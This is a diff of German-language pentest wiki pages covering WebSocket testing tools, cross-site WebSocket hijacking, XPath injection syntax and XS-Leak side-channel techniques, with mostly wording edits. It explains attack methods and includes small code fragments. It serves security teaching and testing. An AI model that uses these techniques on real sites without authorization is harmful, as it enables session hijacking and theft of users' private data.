- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Kurz für "**WebSocket/Socket.io Proxy**", dieses in Node.js geschriebene Tool bietet eine Benutzeroberfläche, um **Nachrichten zu erfassen, abzufangen, benutzerdefinierte** Nachrichten zu senden und alle WebSocket- und Socket.IO-Kommunikationen zwischen dem Client und dem Server anzuzeigen.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) ist ein **interaktives Websocket REPL**, das speziell für Penetrationstests entwickelt wurde. Es bietet eine Schnittstelle zum Beobachten von **eingehenden Websocket-Nachrichten und zum Senden neuer**, mit einem benutzerfreundlichen Framework zur **Automatisierung** dieser Kommunikation. 
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) ist eine **Webanwendung zur Kommunikation** mit anderen Webseiten über **Websockets**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) bietet unter anderem eine **Webanwendung zur Kommunikation** mit anderen Webseiten über **Websockets.**
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) ist ein **interaktives Websocket REPL**, das speziell für Penetrationstests entwickelt wurde. Es bietet eine Schnittstelle zum Beobachten von **eingehenden Websocket-Nachrichten und zum Senden neuer Nachrichten**, mit einem benutzerfreundlichen Framework zur **Automatisierung** dieser Kommunikation. 
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) ist eine **Webseite zur Kommunikation** mit anderen Webseiten über **Websockets**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) bietet unter anderem eine **Webseite zur Kommunikation** mit anderen Webseiten über **Websockets.**
|
||||
|
||||
## Websocket Labor
|
||||
|
||||
@ -82,13 +82,13 @@ In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur
|
||||
|
||||
**Cross-Site WebSocket Hijacking**, auch bekannt als **Cross-Origin WebSocket Hijacking**, wird als ein spezifischer Fall von **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** identifiziert, der WebSocket-Handshakes betrifft. Diese Schwachstelle tritt auf, wenn WebSocket-Handshakes ausschließlich über **HTTP-Cookies** authentifiziert werden, ohne **CSRF-Token** oder ähnliche Sicherheitsmaßnahmen.
|
||||
|
||||
Angreifer können dies ausnutzen, indem sie eine **bösartige Webseite** hosten, die eine Cross-Site-WebSocket-Verbindung zu einer verwundbaren Anwendung initiiert. Folglich wird diese Verbindung als Teil der Sitzung des Opfers mit der Anwendung behandelt, wodurch die fehlende CSRF-Schutzmaßnahme im Sitzungsmanagement ausgenutzt wird.
|
||||
Angreifer können dies ausnutzen, indem sie eine **bösartige Webseite** hosten, die eine Cross-Site-WebSocket-Verbindung zu einer anfälligen Anwendung initiiert. Folglich wird diese Verbindung als Teil der Sitzung des Opfers mit der Anwendung behandelt, wodurch die fehlende CSRF-Schutzmaßnahme im Sitzungsmanagement ausgenutzt wird.
|
||||
|
||||
### Einfacher Angriff
|
||||
|
||||
Beachten Sie, dass beim **Herstellen** einer **Websocket**-Verbindung das **Cookie** an den Server **gesendet** wird. Der **Server** könnte es verwenden, um jeden **spezifischen** **Benutzer** mit seiner **Websocket**-**Sitzung basierend auf dem gesendeten Cookie** zu **verknüpfen**.
|
||||
|
||||
Wenn der **Websocket**-**Server** dann beispielsweise die **Historie der Konversation** eines Benutzers zurücksendet, wenn eine Nachricht mit "**READY"** gesendet wird, dann wird ein **einfaches XSS**, das die Verbindung herstellt (das **Cookie** wird **automatisch** gesendet, um den Benutzer zu autorisieren), in der Lage sein, die Historie der **Konversation** abzurufen.
|
||||
Wenn der **Websocket**-**Server** dann beispielsweise die **Historie der Konversation** eines Benutzers zurücksendet, wenn eine Nachricht mit "**READY"** gesendet wird, dann wird ein **einfaches XSS**, das die Verbindung herstellt (das **Cookie** wird **automatisch** gesendet, um den Benutzer zu autorisieren), das **Senden** von "**READY**" in der Lage sein, die Historie der **Konversation** abzurufen.
|
||||
```markup
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -140,9 +140,9 @@ Rennbedingungen in WebSockets sind ebenfalls ein Thema, [prüfen Sie diese Infor
|
||||
|
||||
## Andere Schwachstellen
|
||||
|
||||
Da WebSockets ein Mechanismus sind, um **Daten an die Server- und Client-Seite zu senden**, können WebSockets, je nachdem, wie der Server und der Client die Informationen behandeln, **genutzt werden, um mehrere andere Schwachstellen wie XSS, SQLi oder andere gängige Web-Schwachstellen unter Verwendung von Benutzereingaben aus einem WebSocket auszunutzen.**
|
||||
Da WebSockets ein Mechanismus sind, um **Daten an die Server- und Client-Seite zu senden**, können WebSockets, je nachdem, wie der Server und der Client die Informationen behandeln, **ausgenutzt werden, um mehrere andere Schwachstellen wie XSS, SQLi oder andere gängige Web-Schwachstellen mithilfe von Benutzereingaben aus einem WebSocket auszunutzen.**
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
## **WebSocket-Smuggling**
|
||||
|
||||
Diese Schwachstelle könnte es Ihnen ermöglichen, **Einschränkungen von Reverse-Proxys zu umgehen**, indem Sie sie glauben lassen, dass eine **WebSocket-Kommunikation hergestellt wurde** (auch wenn das nicht wahr ist). Dies könnte einem Angreifer ermöglichen, **auf versteckte Endpunkte zuzugreifen**. Für weitere Informationen überprüfen Sie die folgende Seite:
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Grundsyntax
|
||||
|
||||
Eine Angriffstechnik, die als XPath-Injection bekannt ist, wird verwendet, um Anwendungen auszunutzen, die XPath (XML Path Language)-Abfragen basierend auf Benutzereingaben bilden, um XML-Dokumente abzufragen oder zu navigieren.
|
||||
Eine Angriffstechnik, die als XPath-Injection bekannt ist, wird verwendet, um Anwendungen auszunutzen, die XPath (XML Path Language) Abfragen basierend auf Benutzereingaben bilden, um XML-Dokumente abzufragen oder zu navigieren.
|
||||
|
||||
### Beschriebene Knoten
|
||||
|
||||
@ -23,23 +23,23 @@ Beispiele für Pfadausdrücke und deren Ergebnisse umfassen:
|
||||
|
||||
- **bookstore**: Alle Knoten mit dem Namen "bookstore" werden ausgewählt.
|
||||
- **/bookstore**: Das Wurzelelement bookstore wird ausgewählt. Es wird angemerkt, dass ein absoluter Pfad zu einem Element durch einen Pfad dargestellt wird, der mit einem Schrägstrich (/) beginnt.
|
||||
- **bookstore/book**: Alle Buchelemente, die Kinder von bookstore sind, werden ausgewählt.
|
||||
- **//book**: Alle Buchelemente im Dokument werden ausgewählt, unabhängig von ihrem Standort.
|
||||
- **bookstore//book**: Alle Buchelemente, die Nachkommen des bookstore-Elements sind, werden ausgewählt, egal in welcher Position sie sich unter dem bookstore-Element befinden.
|
||||
- **bookstore/book**: Alle Buch-Elemente, die Kinder von bookstore sind, werden ausgewählt.
|
||||
- **//book**: Alle Buch-Elemente im Dokument werden ausgewählt, unabhängig von ihrem Standort.
|
||||
- **bookstore//book**: Alle Buch-Elemente, die Nachkommen des bookstore-Elements sind, werden ausgewählt, egal wo sie sich unter dem bookstore-Element befinden.
|
||||
- **//@lang**: Alle Attribute mit dem Namen lang werden ausgewählt.
|
||||
|
||||
### Nutzung von Prädikaten
|
||||
|
||||
Prädikate werden verwendet, um Auswahlen zu verfeinern:
|
||||
|
||||
- **/bookstore/book\[1]**: Das erste Buchelement-Kind des bookstore-Elements wird ausgewählt. Eine Umgehung für IE-Versionen 5 bis 9, die den ersten Knoten als \[0] indizieren, besteht darin, die SelectionLanguage über JavaScript auf XPath zu setzen.
|
||||
- **/bookstore/book\[last()]**: Das letzte Buchelement-Kind des bookstore-Elements wird ausgewählt.
|
||||
- **/bookstore/book\[last()-1]**: Das vorletzte Buchelement-Kind des bookstore-Elements wird ausgewählt.
|
||||
- **/bookstore/book\[position()<3]**: Die ersten beiden Buchelemente-Kinder des bookstore-Elements werden ausgewählt.
|
||||
- **//title\[@lang]**: Alle Title-Elemente mit einem lang-Attribut werden ausgewählt.
|
||||
- **//title\[@lang='en']**: Alle Title-Elemente mit einem "lang"-Attributwert von "en" werden ausgewählt.
|
||||
- **/bookstore/book\[price>35.00]**: Alle Buchelemente des bookstore mit einem Preis von mehr als 35,00 werden ausgewählt.
|
||||
- **/bookstore/book\[price>35.00]/title**: Alle Title-Elemente der Buchelemente des bookstore mit einem Preis von mehr als 35,00 werden ausgewählt.
|
||||
- **/bookstore/book\[1]**: Das erste Buch-Element-Kind des bookstore-Elements wird ausgewählt. Eine Umgehung für IE-Versionen 5 bis 9, die den ersten Knoten als \[0] indizieren, besteht darin, die SelectionLanguage über JavaScript auf XPath zu setzen.
|
||||
- **/bookstore/book\[last()]**: Das letzte Buch-Element-Kind des bookstore-Elements wird ausgewählt.
|
||||
- **/bookstore/book\[last()-1]**: Das vorletzte Buch-Element-Kind des bookstore-Elements wird ausgewählt.
|
||||
- **/bookstore/book\[position()<3]**: Die ersten beiden Buch-Elemente-Kinder des bookstore-Elements werden ausgewählt.
|
||||
- **//title\[@lang]**: Alle Titel-Elemente mit einem lang-Attribut werden ausgewählt.
|
||||
- **//title\[@lang='en']**: Alle Titel-Elemente mit einem "lang"-Attributwert von "en" werden ausgewählt.
|
||||
- **/bookstore/book\[price>35.00]**: Alle Buch-Elemente des bookstore mit einem Preis von mehr als 35.00 werden ausgewählt.
|
||||
- **/bookstore/book\[price>35.00]/title**: Alle Titel-Elemente der Buch-Elemente des bookstore mit einem Preis von mehr als 35.00 werden ausgewählt.
|
||||
|
||||
### Umgang mit unbekannten Knoten
|
||||
|
||||
@ -53,7 +53,7 @@ Weitere Beispiele umfassen:
|
||||
|
||||
- **/bookstore/\***: Wählt alle Kind-Elementknoten des bookstore-Elements aus.
|
||||
- **//\***: Wählt alle Elemente im Dokument aus.
|
||||
- **//title\[@\*]**: Wählt alle Title-Elemente mit mindestens einem Attribut jeglicher Art aus.
|
||||
- **//title\[@\*]**: Wählt alle Titel-Elemente mit mindestens einem Attribut jeglicher Art aus.
|
||||
|
||||
## Beispiel
|
||||
```xml
|
||||
|
||||
@ -4,43 +4,43 @@
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
XS-Search ist eine Methode zur **Extraktion von Informationen über verschiedene Ursprünge** durch Ausnutzung von **Nebenkanalanfälligkeiten**.
|
||||
XS-Search ist eine Methode zur **Extraktion von Informationen über Ursprünge hinweg**, die **Seitenkanalanfälligkeiten** ausnutzt.
|
||||
|
||||
Wichtige Komponenten, die an diesem Angriff beteiligt sind:
|
||||
|
||||
- **Anfällige Webseite**: Die Zielwebsite, von der Informationen extrahiert werden sollen.
|
||||
- **Angreifer-Webseite**: Die bösartige Webseite, die vom Angreifer erstellt wurde und die der Opfer besucht, um den Exploit zu hosten.
|
||||
- **Einbeziehungsmethode**: Die Technik, die verwendet wird, um die Anfällige Webseite in die Angreifer-Webseite einzufügen (z. B. window.open, iframe, fetch, HTML-Tag mit href usw.).
|
||||
- **Leak-Technik**: Techniken, die verwendet werden, um Unterschiede im Zustand der Anfälligen Webseite basierend auf Informationen zu erkennen, die durch die Einbeziehungsmethode gesammelt wurden.
|
||||
- **Zustände**: Die beiden potenziellen Bedingungen der Anfälligen Webseite, die der Angreifer zu unterscheiden versucht.
|
||||
- **Erkennbare Unterschiede**: Beobachtbare Variationen, auf die der Angreifer sich verlässt, um den Zustand der Anfälligen Webseite abzuleiten.
|
||||
- **Anfälliges Web**: Die Zielwebsite, von der Informationen extrahiert werden sollen.
|
||||
- **Angreifer-Web**: Die bösartige Website, die vom Angreifer erstellt wurde und die das Opfer besucht, um den Exploit zu hosten.
|
||||
- **Einbeziehungsmethode**: Die Technik, die verwendet wird, um das Anfällige Web in das Angreifer-Web einzufügen (z. B. window.open, iframe, fetch, HTML-Tag mit href usw.).
|
||||
- **Leak-Technik**: Techniken, die verwendet werden, um Unterschiede im Zustand des Anfälligen Webs basierend auf Informationen zu erkennen, die durch die Einbeziehungsmethode gesammelt wurden.
|
||||
- **Zustände**: Die beiden potenziellen Bedingungen des Anfälligen Webs, die der Angreifer zu unterscheiden versucht.
|
||||
- **Erkennbare Unterschiede**: Beobachtbare Variationen, auf die der Angreifer sich verlässt, um den Zustand des Anfälligen Webs abzuleiten.
|
||||
|
||||
### Erkennbare Unterschiede
|
||||
|
||||
Mehrere Aspekte können analysiert werden, um die Zustände der Anfälligen Webseite zu unterscheiden:
|
||||
Mehrere Aspekte können analysiert werden, um die Zustände des Anfälligen Webs zu unterscheiden:
|
||||
|
||||
- **Statuscode**: Unterscheidung zwischen **verschiedenen HTTP-Antwortstatuscodes** über Ursprünge hinweg, wie Serverfehler, Clientfehler oder Authentifizierungsfehler.
|
||||
- **API-Nutzung**: Identifizierung der **Nutzung von Web-APIs** über Seiten hinweg, die offenbart, ob eine Cross-Origin-Seite eine bestimmte JavaScript-Web-API verwendet.
|
||||
- **Weiterleitungen**: Erkennung von Navigationen zu verschiedenen Seiten, nicht nur HTTP-Weiterleitungen, sondern auch solche, die durch JavaScript oder HTML ausgelöst werden.
|
||||
- **Weiterleitungen**: Erkennung von Navigationen zu anderen Seiten, nicht nur HTTP-Weiterleitungen, sondern auch solchen, die durch JavaScript oder HTML ausgelöst werden.
|
||||
- **Seiteninhalt**: Beobachtung von **Variationen im HTTP-Antwortkörper** oder in Seitenunterressourcen, wie der **Anzahl der eingebetteten Frames** oder Größenunterschieden bei Bildern.
|
||||
- **HTTP-Header**: Notierung der Anwesenheit oder möglicherweise des Wertes eines **bestimmten HTTP-Antwortheaders**, einschließlich Header wie X-Frame-Options, Content-Disposition und Cross-Origin-Resource-Policy.
|
||||
- **Timing**: Wahrnehmung konsistenter Zeitunterschiede zwischen den beiden Zuständen.
|
||||
- **HTTP-Header**: Feststellung der Anwesenheit oder möglicherweise des Wertes eines **bestimmten HTTP-Antwortheaders**, einschließlich Header wie X-Frame-Options, Content-Disposition und Cross-Origin-Resource-Policy.
|
||||
- **Timing**: Feststellung konsistenter Zeitunterschiede zwischen den beiden Zuständen.
|
||||
|
||||
### Einbeziehungsmethoden
|
||||
|
||||
- **HTML-Elemente**: HTML bietet verschiedene Elemente zur **Einbeziehung von Ressourcen über verschiedene Ursprünge**, wie Stylesheets, Bilder oder Skripte, die den Browser zwingen, eine Nicht-HTML-Ressource anzufordern. Eine Zusammenstellung potenzieller HTML-Elemente für diesen Zweck finden Sie unter [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
||||
- **Frames**: Elemente wie **iframe**, **object** und **embed** können HTML-Ressourcen direkt in die Seite des Angreifers einbetten. Wenn die Seite **keinen Schutz vor Einbettung** hat, kann JavaScript auf das Fensterobjekt der eingebetteten Ressource über die Eigenschaft contentWindow zugreifen.
|
||||
- **Pop-ups**: Die **`window.open`**-Methode öffnet eine Ressource in einem neuen Tab oder Fenster und bietet einen **Fenster-Handle**, mit dem JavaScript mit Methoden und Eigenschaften gemäß dem SOP interagieren kann. Pop-ups, die häufig bei der einmaligen Anmeldung verwendet werden, umgehen die Einbettungs- und Cookie-Beschränkungen einer Zielressource. Moderne Browser schränken jedoch die Erstellung von Pop-ups auf bestimmte Benutzeraktionen ein.
|
||||
- **HTML-Elemente**: HTML bietet verschiedene Elemente zur **Einbeziehung von Ressourcen über Ursprünge hinweg**, wie Stylesheets, Bilder oder Skripte, die den Browser zwingen, eine Nicht-HTML-Ressource anzufordern. Eine Zusammenstellung potenzieller HTML-Elemente für diesen Zweck finden Sie unter [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
||||
- **Frames**: Elemente wie **iframe**, **object** und **embed** können HTML-Ressourcen direkt in die Seite des Angreifers einbetten. Wenn die Seite **keinen Framing-Schutz** hat, kann JavaScript auf das Fensterobjekt der eingebetteten Ressource über die Eigenschaft contentWindow zugreifen.
|
||||
- **Pop-ups**: Die **`window.open`**-Methode öffnet eine Ressource in einem neuen Tab oder Fenster und bietet einen **Fenster-Handle**, mit dem JavaScript mit Methoden und Eigenschaften gemäß dem SOP interagieren kann. Pop-ups, die häufig bei der einmaligen Anmeldung verwendet werden, umgehen die Framing- und Cookie-Beschränkungen einer Zielressource. Moderne Browser schränken jedoch die Erstellung von Pop-ups auf bestimmte Benutzeraktionen ein.
|
||||
- **JavaScript-Anfragen**: JavaScript erlaubt direkte Anfragen an Zielressourcen unter Verwendung von **XMLHttpRequests** oder der **Fetch API**. Diese Methoden bieten präzise Kontrolle über die Anfrage, wie die Entscheidung, HTTP-Weiterleitungen zu folgen.
|
||||
|
||||
### Leak-Techniken
|
||||
|
||||
- **Ereignis-Handler**: Eine klassische Leak-Technik in XS-Leaks, bei der Ereignis-Handler wie **onload** und **onerror** Einblicke in den Erfolg oder Misserfolg des Ladens von Ressourcen geben.
|
||||
- **Fehlermeldungen**: JavaScript-Ausnahmen oder spezielle Fehlermeldungsseiten können Leak-Informationen entweder direkt aus der Fehlermeldung oder durch Unterscheidung zwischen ihrer Anwesenheit und Abwesenheit bereitstellen.
|
||||
- **Fehlermeldungen**: JavaScript-Ausnahmen oder spezielle Fehlermeldungsseiten können Leak-Informationen entweder direkt aus der Fehlermeldung oder durch Unterscheidung zwischen deren Anwesenheit und Abwesenheit bereitstellen.
|
||||
- **Globale Grenzen**: Physische Einschränkungen eines Browsers, wie Speicherkapazität oder andere durch den Browser durchgesetzte Grenzen, können signalisieren, wenn ein Schwellenwert erreicht ist, und dienen als Leak-Technik.
|
||||
- **Globaler Zustand**: Erkennbare Interaktionen mit den **globalen Zuständen** von Browsern (z. B. die History-Schnittstelle) können ausgenutzt werden. Zum Beispiel kann die **Anzahl der Einträge** im Verlauf eines Browsers Hinweise auf Cross-Origin-Seiten geben.
|
||||
- **Performance-API**: Diese API bietet **Leistungsdetails der aktuellen Seite**, einschließlich Netzwerkzeit für das Dokument und geladene Ressourcen, was Rückschlüsse auf angeforderte Ressourcen ermöglicht.
|
||||
- **Lesbare Attribute**: Einige HTML-Attribute sind **über verschiedene Ursprünge lesbar** und können als Leak-Technik verwendet werden. Zum Beispiel ermöglicht die `window.frame.length`-Eigenschaft JavaScript, die in einer Webseite über verschiedene Ursprünge eingebetteten Frames zu zählen.
|
||||
- **Performance-API**: Diese API bietet **Leistungsdetails der aktuellen Seite**, einschließlich Netzwerkzeit für das Dokument und geladene Ressourcen, die Rückschlüsse auf angeforderte Ressourcen ermöglichen.
|
||||
- **Lesbare Attribute**: Einige HTML-Attribute sind **über Ursprünge hinweg lesbar** und können als Leak-Technik verwendet werden. Zum Beispiel ermöglicht die `window.frame.length`-Eigenschaft JavaScript, die in einer Webseite über Ursprünge hinweg enthaltenen Frames zu zählen.
|
||||
|
||||
## XSinator-Tool & Papier
|
||||
|
||||
@ -53,7 +53,7 @@ Sie können **auf das Tool zugreifen unter** [**https://xsinator.com/**](https:/
|
||||
|
||||
## **Zeitbasierte Techniken**
|
||||
|
||||
Einige der folgenden Techniken werden Zeit als Teil des Prozesses verwenden, um Unterschiede in den möglichen Zuständen der Webseiten zu erkennen. Es gibt verschiedene Möglichkeiten, Zeit in einem Webbrowser zu messen.
|
||||
Einige der folgenden Techniken werden Timing verwenden, um Unterschiede in den möglichen Zuständen der Webseiten zu erkennen. Es gibt verschiedene Möglichkeiten, Zeit in einem Webbrowser zu messen.
|
||||
|
||||
**Uhren**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API ermöglicht Entwicklern, hochauflösende Zeitmessungen zu erhalten.\
|
||||
Es gibt eine beträchtliche Anzahl von APIs, die Angreifer missbrauchen können, um implizite Uhren zu erstellen: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS-Animationen und andere.\
|
||||
@ -66,14 +66,14 @@ Für weitere Informationen: [https://xsleaks.dev/docs/attacks/timing-attacks/clo
|
||||
- **Einbeziehungsmethoden**: Frames, HTML-Elemente
|
||||
- **Erkennbare Unterschiede**: Statuscode
|
||||
- **Weitere Informationen**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
- **Zusammenfassung**: Wenn versucht wird, eine Ressource zu laden, werden onerror/onload-Ereignisse ausgelöst, wenn die Ressource erfolgreich/nicht erfolgreich geladen wird, wodurch es möglich ist, den Statuscode herauszufinden.
|
||||
- **Zusammenfassung**: Wenn versucht wird, eine Ressource zu laden, werden onerror/onload-Ereignisse ausgelöst, wenn die Ressource erfolgreich/nicht erfolgreich geladen wird, sodass es möglich ist, den Statuscode herauszufinden.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
||||
|
||||
{{#ref}}
|
||||
xs-search/cookie-bomb-+-onerror-xs-leak.md
|
||||
{{#endref}}
|
||||
|
||||
Das Codebeispiel versucht, **Skripte von JS** zu **laden**, aber **andere Tags** wie Objekte, Stylesheets, Bilder, Audios könnten ebenfalls verwendet werden. Darüber hinaus ist es auch möglich, das **Tag direkt** einzufügen und die `onload`- und `onerror`-Ereignisse innerhalb des Tags zu deklarieren (anstatt es von JS einzufügen).
|
||||
Das Codebeispiel versucht, **Skripte von JS** zu laden, aber **andere Tags** wie Objekte, Stylesheets, Bilder, Audios könnten ebenfalls verwendet werden. Darüber hinaus ist es auch möglich, das **Tag direkt** einzufügen und die `onload`- und `onerror`-Ereignisse innerhalb des Tags zu deklarieren (anstatt es von JS einzufügen).
|
||||
|
||||
Es gibt auch eine skriptlose Version dieses Angriffs:
|
||||
```html
|
||||
@ -121,7 +121,7 @@ Die Zeit, die benötigt wird, um eine Ressource abzurufen, kann gemessen werden,
|
||||
- **Summary:** Die [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API kann verwendet werden, um zu messen, wie viel Zeit benötigt wird, um eine Anfrage auszuführen. Andere Uhren könnten ebenfalls verwendet werden.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||||
|
||||
Es wurde beobachtet, dass in Abwesenheit von [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) die Zeit, die benötigt wird, um eine Seite und ihre Unterressourcen über das Netzwerk zu laden, von einem Angreifer gemessen werden kann. Diese Messung ist typischerweise möglich, da der `onload`-Handler eines iframes nur nach Abschluss des Ladens der Ressourcen und der Ausführung von JavaScript ausgelöst wird. Um die Variabilität, die durch die Ausführung von Skripten eingeführt wird, zu umgehen, könnte ein Angreifer das [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) Attribut innerhalb des `<iframe>` verwenden. Die Einbeziehung dieses Attributs schränkt zahlreiche Funktionen ein, insbesondere die Ausführung von JavaScript, und erleichtert somit eine Messung, die überwiegend von der Netzwerkleistung beeinflusst wird.
|
||||
Es wurde beobachtet, dass in Abwesenheit von [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) die Zeit, die benötigt wird, um eine Seite und ihre Unterressourcen über das Netzwerk zu laden, von einem Angreifer gemessen werden kann. Diese Messung ist typischerweise möglich, da der `onload`-Handler eines iframes nur nach Abschluss des Ladens der Ressourcen und der Ausführung von JavaScript ausgelöst wird. Um die Variabilität zu umgehen, die durch die Ausführung von Skripten eingeführt wird, könnte ein Angreifer das [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) Attribut innerhalb des `<iframe>` verwenden. Die Einbeziehung dieses Attributs schränkt zahlreiche Funktionen ein, insbesondere die Ausführung von JavaScript, und erleichtert somit eine Messung, die überwiegend von der Netzwerkleistung beeinflusst wird.
|
||||
```javascript
|
||||
// Example of an iframe with the sandbox attribute
|
||||
<iframe src="example.html" sandbox></iframe>
|
||||
@ -136,7 +136,7 @@ Es wurde beobachtet, dass in Abwesenheit von [Framing Protections](https://xslea
|
||||
|
||||
Angenommen, Sie können die **Seite** mit dem **geheimen** Inhalt **in ein Iframe einfügen**.
|
||||
|
||||
Sie können **das Opfer dazu bringen, nach** der Datei zu suchen, die "_**flag**_" enthält, indem Sie ein **Iframe** verwenden (zum Beispiel durch Ausnutzung eines CSRF). Innerhalb des Iframes wissen Sie, dass das _**onload-Ereignis**_ **immer mindestens einmal** **ausgeführt wird**. Dann können Sie die **URL** des **Iframes ändern**, indem Sie nur den **Inhalt** des **Hash** in der URL ändern.
|
||||
Sie können **das Opfer dazu bringen, nach** der Datei zu suchen, die "_**flag**_" enthält, indem Sie ein **Iframe** verwenden (zum Beispiel durch Ausnutzung eines CSRF). Innerhalb des Iframes wissen Sie, dass das _**onload-Ereignis**_ **immer mindestens einmal** **ausgeführt wird**. Dann können Sie die **URL** des **Iframes ändern**, indem Sie nur den **Inhalt** des **Hash** innerhalb der URL ändern.
|
||||
|
||||
Zum Beispiel:
|
||||
|
||||
@ -188,7 +188,7 @@ Sie können denselben Angriff mit **`portal`**-Tags durchführen.
|
||||
- **Summary**: Sensible Informationen aus einem postMessage sammeln oder die Anwesenheit von postMessages als Orakel verwenden, um den Status des Benutzers auf der Seite zu kennen.
|
||||
- **Code Example**: `Any code listening for all postMessages.`
|
||||
|
||||
Anwendungen nutzen häufig [`postMessage`-Broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage), um über verschiedene Ursprünge hinweg zu kommunizieren. Diese Methode kann jedoch unbeabsichtigt **sensible Informationen** offenbaren, wenn der `targetOrigin`-Parameter nicht ordnungsgemäß angegeben ist, sodass jedes Fenster die Nachrichten empfangen kann. Darüber hinaus kann der bloße Empfang einer Nachricht als **Orakel** fungieren; bestimmte Nachrichten könnten beispielsweise nur an Benutzer gesendet werden, die angemeldet sind. Daher kann das Vorhandensein oder Fehlen dieser Nachrichten Informationen über den Status oder die Identität des Benutzers offenbaren, z. B. ob er authentifiziert ist oder nicht.
|
||||
Anwendungen nutzen häufig [`postMessage`-Broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage), um über verschiedene Ursprünge hinweg zu kommunizieren. Diese Methode kann jedoch unbeabsichtigt **sensible Informationen** offenbaren, wenn der `targetOrigin`-Parameter nicht ordnungsgemäß angegeben ist, sodass jedes Fenster die Nachrichten empfangen kann. Darüber hinaus kann der bloße Empfang einer Nachricht als **Orakel** fungieren; bestimmte Nachrichten werden möglicherweise nur an Benutzer gesendet, die angemeldet sind. Daher kann das Vorhandensein oder Fehlen dieser Nachrichten Informationen über den Status oder die Identität des Benutzers offenbaren, z. B. ob er authentifiziert ist oder nicht.
|
||||
|
||||
## Globale Grenztechniken
|
||||
|
||||
@ -238,10 +238,10 @@ JavaScript arbeitet mit einem [einzelnen, threadbasierten Event-Loop](https://de
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Summary:** Eine Methode zur Messung der Ausführungszeit einer Weboperation besteht darin, absichtlich den Event-Loop eines Threads zu blockieren und dann zu messen, **wie lange es dauert, bis der Event-Loop wieder verfügbar ist**. Durch das Einfügen einer blockierenden Operation (wie einer langen Berechnung oder einem synchronen API-Aufruf) in den Event-Loop und das Überwachen der Zeit, die benötigt wird, damit nachfolgender Code mit der Ausführung beginnt, kann man die Dauer der Aufgaben ableiten, die während der Blockierungszeit im Event-Loop ausgeführt wurden. Diese Technik nutzt die einheitliche Natur des Event-Loops von JavaScript aus, bei dem Aufgaben sequenziell ausgeführt werden, und kann Einblicke in die Leistung oder das Verhalten anderer Operationen geben, die denselben Thread teilen.
|
||||
- **Summary:** Eine Methode zur Messung der Ausführungszeit einer Weboperation besteht darin, absichtlich den Event-Loop eines Threads zu blockieren und dann zu messen, **wie lange es dauert, bis der Event-Loop wieder verfügbar ist**. Durch das Einfügen einer blockierenden Operation (wie einer langen Berechnung oder einem synchronen API-Aufruf) in den Event-Loop und das Überwachen der Zeit, die benötigt wird, damit nachfolgender Code mit der Ausführung beginnt, kann man die Dauer der Aufgaben ableiten, die während der Blockierungszeit im Event-Loop ausgeführt wurden. Diese Technik nutzt die einheitliche Natur des Event-Loops von JavaScript aus, in dem Aufgaben sequenziell ausgeführt werden, und kann Einblicke in die Leistung oder das Verhalten anderer Operationen geben, die denselben Thread teilen.
|
||||
- **Code Example**:
|
||||
|
||||
Ein wesentlicher Vorteil der Technik zur Messung der Ausführungszeit durch Sperren des Event-Loops besteht darin, dass sie potenziell **Site Isolation** umgeht. **Site Isolation** ist eine Sicherheitsfunktion, die verschiedene Websites in separate Prozesse trennt, um zu verhindern, dass bösartige Websites direkt auf sensible Daten anderer Websites zugreifen. Durch die Beeinflussung der Ausführungszeit eines anderen Ursprungs über den gemeinsamen Event-Loop kann ein Angreifer indirekt Informationen über die Aktivitäten dieses Ursprungs extrahieren. Diese Methode beruht nicht auf dem direkten Zugriff auf die Daten des anderen Ursprungs, sondern beobachtet die Auswirkungen der Aktivitäten dieses Ursprungs auf den gemeinsamen Event-Loop und umgeht so die Schutzbarrieren, die durch **Site Isolation** eingerichtet wurden.
|
||||
